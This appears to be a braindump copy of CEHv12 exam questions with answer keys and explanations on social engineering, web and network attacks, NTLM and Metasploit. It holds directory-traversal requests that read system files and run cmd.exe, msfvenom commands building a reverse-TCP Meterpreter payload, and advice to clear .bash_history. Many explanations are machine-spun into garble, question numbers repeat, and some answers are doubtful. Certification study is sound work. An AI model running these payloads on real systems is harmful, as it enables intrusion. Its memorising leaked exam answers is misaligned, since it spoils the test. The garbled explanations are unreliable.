

## Exam Questions 312-50v12

Certified Ethical Hacker Exam (CEHv12)

<https://www.2passeasy.com/dumps/312-50v12/>



**NEW QUESTION 1**

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical Information to Johnson's machine. What is the social engineering technique Steve employed in the above scenario?

- A. Quid pro quo
- B. Diversion theft
- C. Elicitation
- D. Phishing

**Answer:** A

**Explanation:**

<https://www.eccouncil.org/what-is-social-engineering/>

This Social Engineering scam involves an exchange of information that can benefit both the victim and the trickster. Scammers would make the prey believe that a fair exchange will be present between both sides, but in reality, only the fraudster stands to benefit, leaving the victim hanging on to nothing. An example of a Quid Pro Quo is a scammer pretending to be an IT support technician.

The con artist asks for the login credentials of the company's computer saying that the company is going to receive technical support in return. Once the victim has provided the credentials, the scammer now has control over the company's computer and may possibly load malware or steal personal information that can be a motive to commit identity theft.

"A quid pro quo attack (aka something for something" attack) is a variant of baiting. Instead of baiting a target with the promise of a good, a quid pro quo attack promises a service or a benefit based on the execution of a specific action." <https://resources.infosecinstitute.com/topic/commonsocial-engineeringattacks/#:~:text=A%20quid%20pro%20quo%20attack,execution%20of%20a%20specific%20action.>

**NEW QUESTION 2**

infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

- A. Reconnaissance
- B. Maintaining access
- C. Scanning
- D. Gaining access

**Answer:** D

**Explanation:**

This phase having the hacker uses different techniques and tools to realize maximum data from the system. they're –

- Password cracking – Methods like Bruteforce, dictionary attack, rule-based attack, rainbow table are used. Bruteforce is trying all combinations of the password. Dictionary attack is trying an inventory of meaningful words until the password matches. Rainbow table takes the hash value of the password and compares with pre-computed hash values until a match is discovered.
- Password attacks – Passive attacks like wire sniffing, replay attack. Active online attack like Trojans, keyloggers, hash injection, phishing. Offline attacks like pre-computed hash, distributed network and rainbow. Non electronic attack like shoulder surfing, social engineering and dumpster diving.

**NEW QUESTION 3**

You are a penetration tester working to test the user awareness of the employees of the client xyz.

You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?

- A. Reconnaissance
- B. Command and control
- C. Weaponization
- D. Exploitation

**Answer:** C

**Explanation:**

Weaponization

The adversary analyzes the data collected in the previous stage to identify the vulnerabilities and techniques that can exploit and gain unauthorized access to the target organization. Based on the vulnerabilities identified during analysis, the adversary selects or creates a tailored deliverable malicious payload (remote-access malware weapon) using an exploit and a backdoor to send it to the victim. An adversary may target specific network devices, operating systems, endpoint devices, or even individuals within the organization to carry out their attack. For example, the adversary may send a phishing email to an employee of the target organization, which may include a malicious attachment such as a virus or worm that, when downloaded, installs a backdoor on the system that allows remote access to the adversary. The following are the activities of the adversary:

- o Identifying appropriate malware payload based on the analysis
- o Creating a new malware payload or selecting, reusing, modifying the available malware payloads based on the identified vulnerability
- o Creating a phishing email campaign
- o Leveraging exploit kits and botnets

[https://en.wikipedia.org/wiki/Kill\\_chain](https://en.wikipedia.org/wiki/Kill_chain) The Cyber Kill Chain consists of 7 steps: Reconnaissance, weaponization, delivery, exploitation, installation, command and control, and finally, actions on objectives. Below you can find detailed information on each.

\* 1. Reconnaissance: In this step, the attacker/intruder chooses their target. Then they conduct indepth research on this target to identify its vulnerabilities that can be exploited.

\* 2. Weaponization: In this step, the intruder creates a malware weapon like a virus, worm, or such to exploit the target's vulnerabilities. Depending on the target and the purpose of the attacker, this malware can exploit new, undetected vulnerabilities (also known as the zero-day exploits) or focus on a combination of different vulnerabilities.

\* 3. Delivery: This step involves transmitting the weapon to the target. The intruder/attacker can employ different USB drives, e-mail attachments, and websites for this purpose.

\* 4. Exploitation: In this step, the malware starts the action. The program code of the malware is triggered to exploit the target's vulnerability/vulnerabilities.

\* 5. Installation: In this step, the malware installs an access point for the intruder/attacker. This access point is also known as the backdoor.

\* 6. Command and Control: The malware gives the intruder/attacker access to the network/system.

\* 7. Actions on Objective: Once the attacker/intruder gains persistent access, they finally take action to fulfill their purposes, such as encryption for ransom, data exfiltration, or even data destruction.

#### NEW QUESTION 4

Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.

Which of the following attacks can be performed by exploiting the above vulnerability?

- A. DROWN attack
- B. Padding oracle attack
- C. Side-channel attack
- D. DUHK attack

**Answer:** A

#### Explanation:

DROWN is a serious vulnerability that affects HTTPS and other services that deem SSL and TLS, some of the essential cryptographic protocols for net security. These protocols allow everyone on the net to browse the net, use email, look on-line, and send instant messages while not third-parties being able to browse the communication.

DROWN allows attackers to break the encryption and read or steal sensitive communications, as well as passwords, credit card numbers, trade secrets, or financial data. At the time of public disclosure on March 2016, our measurements indicated thirty third of all HTTPS servers were vulnerable to the attack. fortuitously, the vulnerability is much less prevalent currently. As of 2019, SSL Labs estimates that one.2% of HTTPS servers are vulnerable.

What will the attackers gain?

Any communication between users and the server. This typically includes, however isn't limited to, usernames and passwords, credit card numbers, emails, instant messages, and sensitive documents. under some common scenarios, an attacker can also impersonate a secure web site and intercept or change the content the user sees.

Who is vulnerable?

Websites, mail servers, and other TLS-dependent services are in danger for the DROWN attack. At the time of public disclosure, many popular sites were affected. we used Internet-wide scanning to live how many sites are vulnerable:

Operators of vulnerable servers got to take action. there's nothing practical that browsers or endusers will do on their own to protect against this attack. Is my site vulnerable?

Modern servers and shoppers use the TLS encryption protocol. However, because of misconfigurations, several servers also still support SSLv2, a 1990s-era precursor to TLS. This support did not matter in practice, since no up-to-date clients really use SSLv2. Therefore, despite the fact that SSLv2 is thought to be badly insecure, until now, simply supporting SSLv2 wasn't thought of a security problem, is a clients never used it.

DROWN shows that merely supporting SSLv2 may be a threat to fashionable servers and clients. It modern associate degree attacker to modern fashionable TLS connections between up-to-date clients and servers by sending probes to a server that supports SSLv2 and uses the same private key.

A server is vulnerable to DROWN if:

It allows SSLv2 connections. This is surprisingly common, due to misconfiguration and inappropriate default settings. Its private key is used on any other server that allows SSLv2 connections, even for another protocol.

Many companies reuse the same certificate and key on their web and email servers, for instance. In this case, if the email server supports SSLv2 and the web server does not, an attacker can take advantage of the email server to break TLS connections to the web server.

How do I protect my server?

To protect against DROWN, server operators need to ensure that their private keys software used anywhere with server computer code that enables SSLv2 connections. This includes net servers, SMTP servers, IMAP and POP servers, and the other software that supports SSL/TLS.

Disabling SSLv2 is difficult and depends on the particular server software. we offer instructions here for many common products:

OpenSSL: OpenSSL may be a science library employed in several server merchandise. For users of OpenSSL, the simplest and recommended solution is to upgrade to a recent OpenSSL version. OpenSSL 1.0.2 users ought to upgrade to 1.0.2g. OpenSSL 1.0.1 users ought to upgrade to one.0.1s.

Users of older OpenSSL versions ought to upgrade to either one in every of these versions. (Updated March thirteenth, 16:00 UTC) Microsoft IIS (Windows Server): Support for SSLv2 on the server aspect is enabled by default only on the OS versions that correspond to IIS 7.0 and IIS seven.5, particularly Windows scene, Windows Server 2008, Windows seven and Windows Server 2008R2. This support is disabled within the appropriate SSLv2 subkey for 'Server', as outlined in KB245030. albeit users haven't taken the steps to disable SSLv2, the export-grade and 56-bit ciphers that build DROWN possible don't seem to be supported by default.

Network Security Services (NSS): NSS may be a common science library designed into several server merchandise. NSS versions three.13 (released back in 2012) and higher than ought to have SSLv2 disabled by default. (A little variety of users might have enabled SSLv2 manually and can got to take steps to disable it.) Users of older versions ought to upgrade to a more modern version. we tend to still advocate checking whether or not your non-public secret is exposed elsewhere Other affected software and in operation systems:

Instructions and data for: Apache, Postfix, Nginx, Debian, Red Hat

Browsers and other consumers: practical nothing practical that net browsers or different client computer code will do to stop DROWN. only server operators are ready to take action to guard against the attack.

#### NEW QUESTION 5

Bob was recently hired by a medical company after it experienced a major cyber security breach.

Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search.

Bob's boss is very worried because of regulations that protect those data. Which of the following regulations is mostly violated?

- A. HIPAA/PHI
- B. PII

- C. PCIDSS
- D. ISO 2002

**Answer:** A

**Explanation:**

PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that's used, maintained, stored, or transmitted by a HIPAA-covered entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the availability of aid or payment for aid services.

It is not only past and current medical info that's considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info. Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names, Social Security numbers, Driver's license numbers, insurance details, and birth dates, once they square measure connected with health info.

The eighteen identifiers that create health info letter are: Names

Dates, except year phonephone numbers Geographic information FAX numbers

Social Security numbers Email addresses

case history numbers Account numbers

Health arrange beneficiary numbers Certificate/license numbers

Vehicle identifiers and serial numbers together with license plates Web URLs

Device identifiers and serial numbers net protocol addresses

Full face photos and comparable pictures Biometric identifiers (i.e. retinal scan, fingerprints) Any distinctive identifying variety or code

One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data.

HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the confidentiality, integrity, and availability of phi as stipulated within the HIPAA

Security Rule.

**NEW QUESTION 6**

Which file is a rich target to discover the structure of a website during web-server footprinting?

- A. Document root
- B. Robots.txt
- C. domain.txt
- D. index.html

**Answer:** B

**NEW QUESTION 7**

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API. Which of the following tools is used by Wilson in the above scenario?

- A. Factiva
- B. Netcraft
- C. infoga
- D. Zoominfo

**Answer:** C

**Explanation:**

Infoga may be a tool gathering email accounts informations (ip,hostname,country,...) from completely different public supply (search engines, pgp key servers and shodan) and check if email was leaked using haveibeenpwned.com API. is a really simple tool, however very effective for the first stages of a penetration test or just to know the visibility of your company within the net.

**NEW QUESTION 8**

While testing a web application in development, you notice that the web server does not properly ignore the “dot dot slash” (../) character string and instead returns the file listing of a folder structure of the server. What kind of attack is possible in this scenario?

- A. Cross-site scripting
- B. Denial of service
- C. SQL injection
- D. Directory traversal

**Answer:** D

**Explanation:**

Appropriately controlling admittance to web content is significant for running a safe web worker.

Index crossing or Path Traversal is a HTTP assault which permits aggressors to get to limited catalogsand execute orders outside of the web worker's root registry. Web workers give two primary degrees of security instruments

Access Control Lists (ACLs) Root index

An Access Control List is utilized in the approval cycle. It is a rundown which the web worker's manager uses to show which clients or gatherings can get to, change or execute specific records on the worker, just as other access rights. The root registry is a particular index on the worker record framework in which the clients are kept.

Clients can't get to anything over this root.

For instance: the default root registry of IIS on Windows is C:\inetpub\wwwroot and with this arrangement, a client doesn't approach C:\Windows yet approaches C:\inetpub\wwwroot\news and some other indexes and documents under the root catalog (given that the client is confirmed by means of the ACLs).

The root index keeps clients from getting to any documents on the worker, for example, C:\WINDOWS\system32\win.ini on Windows stages and the/and so on/passwd record on Linux/UNIX stages. This weakness can exist either in the web worker programming itself or in the web application code.



To play out a registry crossing assault, all an assailant requires is an internet browser and some information on where to aimlessly discover any default documents and registries on the framework. What an assailant can do if your site is defenseless

With a framework defenseless against index crossing, an aggressor can utilize this weakness to venture out of the root catalog and access different pieces of the record framework. This may enable the assailant to see confined documents, which could give the aggressor more data needed to additional trade off the framework.

Contingent upon how the site access is set up, the aggressor will execute orders by mimicking himself as the client which is related with “the site”. Along these lines everything relies upon what the site client has been offered admittance to in the framework.

Illustration of a Directory Traversal assault by means of web application code In web applications with dynamic pages, input is generally gotten from programs through GET or POST solicitation techniques. Here is an illustration of a HTTP GET demand URL GET <http://test.webarticles.com/show.asp?view=oldarchive.html> HTTP/1.1 Host: test.webarticles.com With this URL, the browser requests the dynamic page show.asp from the server and with it also sends the parameter view with the value of oldarchive.html. When this request is executed on the web server, show.asp retrieves the file oldarchive.html from the server's file system, renders it and then sends it back to the browser which displays it to the user. The attacker would assume that show.asp can retrieve files from the file system and sends the following custom URL.

GET <http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini> HTTP/1.1 Host: test.webarticles.com This will cause the dynamic page to retrieve the file system.ini from the file system and display it to the user. The expression

../ instructs the system to go one directory up which is commonly used as an operating system directive. The attacker has to guess how many directories he has to go up to find the Windows folder on the system, but this is easily done by trial and error.

Example of a Directory Traversal attack via web server

Apart from vulnerabilities in the code, even the web server itself can be open to directory traversal attacks. The problem can either be incorporated into the web server software or inside some sample script files left available on the server. The vulnerability has been fixed in the latest versions of web server software, but there are web servers online which are still using older versions of IIS and Apache which might be open to directory traversal attacks. Even though you might be using a web server software version that has fixed this vulnerability, you might still have some sensitive default script directories exposed which are well known to hackers.

For example, a URL request which makes use of the scripts directory of IIS to traverse directories and execute a command can be GET

<http://server.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\> HTTP/1.1 Host: server.com The request would return to the user a list of all files in the C:\ directory by executing the cmd.exe command shell file and run the command dir c:\ in the shell. The %5c expression that is in the URL request is a web server escape code which is used to represent normal characters. In this case %5c represents the character \.

Newer versions of modern web server software check for these escape codes and do not let them through. Some older versions however, do not filter out these codes in the root directory enforcer and will let the attackers execute such commands.

### NEW QUESTION 9

Henry is a cyber security specialist hired by BlackEye - Cyber security solutions. He was tasked with discovering the operating system (OS) of a host. He used the UnKornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows OS. Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

- A. 64
- B. 128
- C. 255
- D. 138

**Answer:** B

#### Explanation:

Windows TTL 128, Linux TTL 64, OpenBSD 255 ... <https://subinsb.com/default-device-ttl-values/> Time to Live (TTL) represents the number of 'hops' a packet can take before it is considered invalid. For Windows/Windows Phone, this value is 128. This value is 64 for Linux/Android.

### NEW QUESTION 10

What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

- A. The attacker queries a nameserver using the DNS resolver.
- B. The attacker makes a request to the DNS resolver.
- C. The attacker forges a reply from the DNS resolver.
- D. The attacker uses TCP to poison the DNS resolver.

**Answer:** B

#### Explanation:

[https://ru.wikipedia.org/wiki/DNS\\_spoofing](https://ru.wikipedia.org/wiki/DNS_spoofing)

DNS spoofing is a threat that copies the legitimate server destinations to divert the domain's traffic.

Ignorant of these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored on your server or computer.

The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as well.

Different Stages of Attack of DNS Cache Poisoning:

- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.
- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increase their chance of success.
- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the malicious website.

### NEW QUESTION 10

In an attempt to increase the security of your network, you implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know it. How do you accomplish this?

- A. Delete the wireless network
- B. Remove all passwords
- C. Lock all users

D. Disable SSID broadcasting

**Answer:** D

**Explanation:**

The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to change your router's settings.

Disabling SSID broadcast will make your Wi-Fi network name invisible to other users. However, this only hides the name, not the network itself. You cannot disguise the router's activity, so hackers can still attack it.

With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-Fi password to your guests is no longer enough.

They have to configure their settings manually by including the network name, security mode, and other relevant info.

Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider the following aspects:

- Disabling SSID broadcast will not hide your network completely

Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the presence of a wireless network. They contain essential information about the network and help the device connect.

- Third-party software can easily trace a hidden network

Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks – hidden or not.

- You might attract unwanted attention.

Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some hackers might be attracted to your network.

**NEW QUESTION 13**

Robin, an attacker, is attempting to bypass the firewalls of an organization through the DNS tunneling method in order to exfiltrate data. He is using the NSTX tool for bypassing the firewalls. On which of the following ports should Robin run the NSTX tool?

A. Port 53

B. Port 23

C. Port 50

D. Port 80

**Answer:** A

**Explanation:**

DNS uses Port 53 which is almost always open on systems, firewalls, and clients to transmit DNS queries. Instead of the more familiar Transmission Control Protocol (TCP) these queries use User Datagram Protocol (UDP) due to its low-latency, bandwidth and resource usage compared to TCP equivalent queries. UDP has no error or flow-control capabilities, nor does it have any integrity checking to make sure the info arrived intact.

How is internet use (browsing, apps, chat etc) so reliable then? If the UDP DNS query fails (it's a best-effort protocol after all) within the first instance, most systems will retry a variety of times and only after multiple failures, potentially switch to TCP before trying again; TCP is additionally used if the DNS query exceeds the restrictions of the UDP datagram size – typically 512 bytes for DNS but can depend upon system settings.

Figure 1 below illustrates the essential process of how DNS operates: the client sends a question string (for example, mail.google[.]com during this case) with a particular type – typically A for a number address. I've skipped the part whereby intermediate DNS systems may need to establish where '.com' exists, before checking out where 'google[.]com' are often found, and so on.

Many worms and scanners are created to seek out and exploit systems running telnet. Given these facts, it's really no surprise that telnet is usually seen on the highest Ten Target Ports list. Several of the vulnerabilities of telnet are fixed. They require only an upgrade to the foremost current version of the telnet Daemon or OS upgrade. As is usually the case, this upgrade has not been performed on a variety of devices. This might flow from the very fact that a lot of systems administrators and users don't fully understand the risks involved using telnet. Unfortunately, the sole solution for a few of telnet's vulnerabilities is to completely discontinue its use. The well-liked method of mitigating all of telnet's vulnerabilities is replacing it with alternate protocols like ssh. Ssh is capable of providing many of an equivalent functions as telnet and a number of other additional services typical handled by other protocols like FTP and Xwindows. Ssh does still have several drawbacks to beat before it can completely replace telnet. It's typically only supported on newer equipment. It requires processor and memory resources to perform the info encryption and decryption. It also requires greater bandwidth than telnet thanks to the encryption of the info. This paper was written to assist clarify how dangerous the utilization of telnet are often and to supply solutions to alleviate the main known threats so as to enhance the general security of the web. Once a reputation is resolved to an IP, caching also helps: the resolved name-to-IP is usually cached on the local system (and possibly on intermediate DNS servers) for a period of your time.

Subsequent queries for an equivalent name from an equivalent client then don't leave the local system until said cache expires. Of course, once the IP address of the remote service is understood, applications can use that information to enable other TCP-based protocols, like HTTP, to try to do their actual work, for instance ensuring internet cat GIFs are often reliably shared together with your colleagues.

So, beat all, a couple of dozen extra UDP DNS queries from an organization's network would be fairly inconspicuous and will leave a malicious payload to beacon bent an adversary; commands could even be received to the requesting application for processing with little difficulty.

**NEW QUESTION 16**

Samuel, a professional hacker, monitored and intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with a packet having an incremented ISN. Consequently, Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob. What is the type of attack performed by Samuel in the above scenario?

A. UDP hijacking

B. Blind hijacking

C. TCP/IP hacking

D. Forbidden attack

**Answer:** C

**Explanation:**

A TCP/IP hijack is an attack that spoofs a server into thinking it's talking with a sound client, once actually it's communication with an assaulter that has condemned (or hijacked) the tcp session.

Assume that the client has administrator-level privileges, which the attacker needs to steal that authority so as to form a brand new account with root-level access of the server to be used afterward. A tcp Hijacking is sort of a two-phased man-in-the-middle attack. The man-in-the-middle assaulter lurks within the circuit

between a shopper and a server so as to work out what port and sequence numbers are being employed for the conversation.

First, the attacker knocks out the client with an attack, like Ping of Death, or ties it up with some reasonably ICMP storm. This renders the client unable to transmit any packets to the server. Then, with the client crashed, the attacker assumes the client's identity so as to talk with the server. By this suggests, the attacker gains administrator-level access to the server.

One of the most effective means of preventing a hijack attack is to want a secret, that's a shared secret between the shopper and also the server. looking on the strength of security desired, the key may be used for random exchanges. this is often once a client and server periodically challenge each other, or it will occur with each exchange, like Kerberos.

#### NEW QUESTION 21

Don, a student, came across a gaming app in a third-party app store and Installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after Installing the app. What is the attack performed on Don in the above scenario?

- A. SMS phishing attack
- B. SIM card attack
- C. Agent Smith attack
- D. Clickjacking

**Answer:** C

#### Explanation:

Agent Smith Attack

Agent Smith attacks are carried out by luring victims into downloading and installing malicious apps designed and published by attackers in the form of games, photo editors, or other attractive tools from third-party app stores such as 9Apps. Once the user has installed the app, the core malicious code inside the application infects or replaces the legitimate apps in the victim's mobile device C&C commands. The deceptive application replaces legitimate apps such as WhatsApp, SHAREit, and MX Player with similar infected versions. The application sometimes also appears to be an authentic Google product such as Google Updater or Themes. The attacker then produces a massive volume of irrelevant and fraudulent advertisements on the victim's device through the infected app for financial gain. Attackers exploit these apps to steal critical information such as personal information, credentials, and bank details, from the victim's mobile device through C&C commands.

#### NEW QUESTION 24

If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?

- A. Traceroute
- B. Hping
- C. TCP ping
- D. Broadcast ping

**Answer:** B

#### Explanation:

<https://tools.kali.org/information-gathering/hping3>

<http://www.carnal0wnage.com/papers/LSO-Hping2-Basics.pdf>

#### NEW QUESTION 26

Which address translation scheme would allow a single public IP address to always correspond to a single machine on an internal network, allowing "server publishing"?

- A. Overloading Port Address Translation
- B. Dynamic Port Address Translation
- C. Dynamic Network Address Translation
- D. Static Network Address Translation

**Answer:** D

#### NEW QUESTION 31

John, a professional hacker, targeted CyberSol Inc., an MNC. He decided to discover the IoT devices connected in the target network that are using default credentials and are vulnerable to various hijacking attacks. For this purpose, he used an automated tool to scan the target network for specific types of IoT devices and detect whether they are using the default, factory-set credentials. What is the tool employed by John in the above scenario?

- A. IoTSeeker
- B. IoT Inspector
- C. AT&T IoT Platform
- D. Azure IoT Central

**Answer:** A

#### NEW QUESTION 34

which of the following protocols can be used to secure an LDAP service against anonymous queries?

- A. SSO
- B. RADIUS
- C. WPA
- D. NTLM

**Answer:** D



**Explanation:**

In a Windows network, nongovernmental organization (New Technology) local area network Manager (NTLM) could be a suite of Microsoft security protocols supposed to produce authentication, integrity, and confidentiality to users. NTLM is that the successor to the authentication protocol in Microsoft local area network Manager (LANMAN), Associate in Nursing older Microsoft product. The NTLM protocol suite is enforced in an exceedingly Security Support supplier, which mixes the local area network Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in an exceedingly single package. whether or not these protocols area unit used or will be used on a system is ruled by cluster Policy settings, that totally different|completely different} versions of Windows have different default settings. NTLM passwords area unit thought-about weak as a result of they will be brute-forced very simply with fashionable hardware.

NTLM could be a challenge-response authentication protocol that uses 3 messages to authenticate a consumer in an exceedingly affiliation orientating setting (connectionless is similar), and a fourth extra message if integrity is desired.

First, the consumer establishes a network path to the server and sends a NEGOTIATE\_MESSAGE advertising its capabilities.

Next, the server responds with CHALLENGE\_MESSAGE that is employed to determine the identity of the consumer.

Finally, the consumer responds to the challenge with Associate in Nursing AUTHENTICATE\_MESSAGE.

The NTLM protocol uses one or each of 2 hashed word values, each of that are keep on the server (or domain controller), and that through a scarcity of seasoning area unit word equivalent, that means that if you grab the hash price from the server, you'll evidence while not knowing the particular word. the 2 area unit the lm Hash (a DES-based operate applied to the primary fourteen chars of the word born-again to the standard eight bit laptop charset for the language), and also the nt Hash (MD4 of the insufficient endian UTF-16 Unicode password). each hash values area unit sixteen bytes (128 bits) every.

The NTLM protocol additionally uses one among 2 a method functions, looking on the NTLM version. National Trust LanMan and NTLM version one use the DES primarily based LanMan a method operate (LMOWF), whereas National TrustLMv2 uses the NT MD4 primarily based a method operate (NTOWF).

**NEW QUESTION 39**

In the context of Windows Security, what is a 'null' user?

- A. A user that has no skills
- B. An account that has been suspended by the admin
- C. A pseudo account that has no username and password
- D. A pseudo account that was created for security administration purpose

**Answer:** C

**NEW QUESTION 40**

A pen tester is configuring a Windows laptop for a test. In setting up Wireshark, what driver and library are required to allow the NIC to work in promiscuous mode?

- A. Libpcap
- B. Awinpcap
- C. Winprom
- D. Winpcap

**Answer:** D

**NEW QUESTION 44**

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

- A. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.10.30 LPORT=4444 -f c
- B. msfvenom -p windows/meterpreter/reverse\_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- C. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- D. msfvenom -p windows/meterpreter/reverse\_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

**Answer:** C

**Explanation:**

<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler.

Run 'set payload' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it's pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse\_tcp LHOST=Y<our IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

**NEW QUESTION 47**

Harris is attempting to identify the OS running on his target machine. He inspected the initial TTL in the IP header and the related TCP window size and obtained the following results:

TTL: 64 Window Size: 5840

What is the OS running on the target machine?

- A. Solaris OS
- B. Windows OS
- C. Mac OS
- D. Linux OS

**Answer:** D

**NEW QUESTION 48**

By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext.

Which file do you have to clean to clear the password?

- A. .X session-log



- B. .bashrc
- C. .profile
- D. .bash\_history

**Answer:** D

**Explanation:**

File created by Bash, a Unix-based shell program commonly used on Mac OS X and Linux operating systems; stores a history of user commands entered at the command prompt; used for viewing old commands that are executed. BASH\_HISTORY files are hidden files with no filename prefix. They always use the filename .bash\_history. NOTE: Bash is that the shell program employed by Apple Terminal. Our goal is to assist you understand what a file with a \*.bash\_history suffix is and the way to open it. The Bash History file type, file format description, and Mac and Linux programs listed on this page are individually researched and verified by the FileInfo team. we attempt for 100% accuracy and only publish information about file formats that we've tested and validated.

**NEW QUESTION 52**

Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack. What is the type of vulnerability assessment performed by Johnson in the above scenario?

- A. Host-based assessment
- B. Wireless network assessment
- C. Application assessment
- D. Distributed assessment

**Answer:** B

**Explanation:**

Wireless network assessment determines the vulnerabilities in an organization's wireless networks. In the past, wireless networks used weak and defective data encryption mechanisms. Now, wireless network standards have evolved, but many networks still use weak and outdated security mechanisms and are open to attack. Wireless network assessments try to attack wireless authentication mechanisms and gain unauthorized access. This type of assessment tests wireless networks and identifies rogue networks that may exist within an organization's perimeter. These assessments audit client-specified sites with a wireless network. They sniff wireless network traffic and try to crack encryption keys. Auditors test other network access if they gain access to the wireless network.

**NEW QUESTION 55**

During a black-box pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded. What type of firewall is inspecting outbound traffic?

- A. Circuit
- B. Stateful
- C. Application
- D. Packet Filtering

**Answer:** C

**Explanation:**

[https://en.wikipedia.org/wiki/Internet\\_Relay\\_Chat](https://en.wikipedia.org/wiki/Internet_Relay_Chat)

Internet Relay Chat (IRC) is an application layer protocol that facilitates communication in text. The chat process works on a client/server networking model. IRC clients are computer programs that users can install on their system or web-based applications running either locally in the browser or on a third-party server. These clients communicate with chat servers to transfer messages to other clients.

IRC is a plaintext protocol that is officially assigned port 194, according to IANA. However, running the service on this port requires running it with root-level permissions, which is inadvisable. As a result, the well-known port for IRC is 6667, a high-number port that does not require elevated privileges. However, an IRC server can also be configured to run on other ports as well.

You can't tell if an IRC server is designed to be malicious solely based on port number. Still, if you see an IRC server running on port a WKP such as 80, 8080, 53, 443, it's almost always going to be malicious; the only real reason for IRCD to be running on port 80 is to try to evade firewalls.

[https://en.wikipedia.org/wiki/Application\\_firewall](https://en.wikipedia.org/wiki/Application_firewall)

An application firewall is a form of firewall that controls input/output or system calls of an application or service. It operates by monitoring and blocking communications based on a configured policy, generally with predefined rule sets to choose from. The application firewall can control communications up to the OSI model's application layer, which is the highest operating layer, and where it gets its name. The two primary categories of application firewalls are network-based and host-based.

Application layer filtering operates at a higher level than traditional security appliances. This allows packet decisions to be made based on more than just source/destination IP Addresses or ports. It can also use information spanning across multiple connections for any given host.

Network-based application firewalls

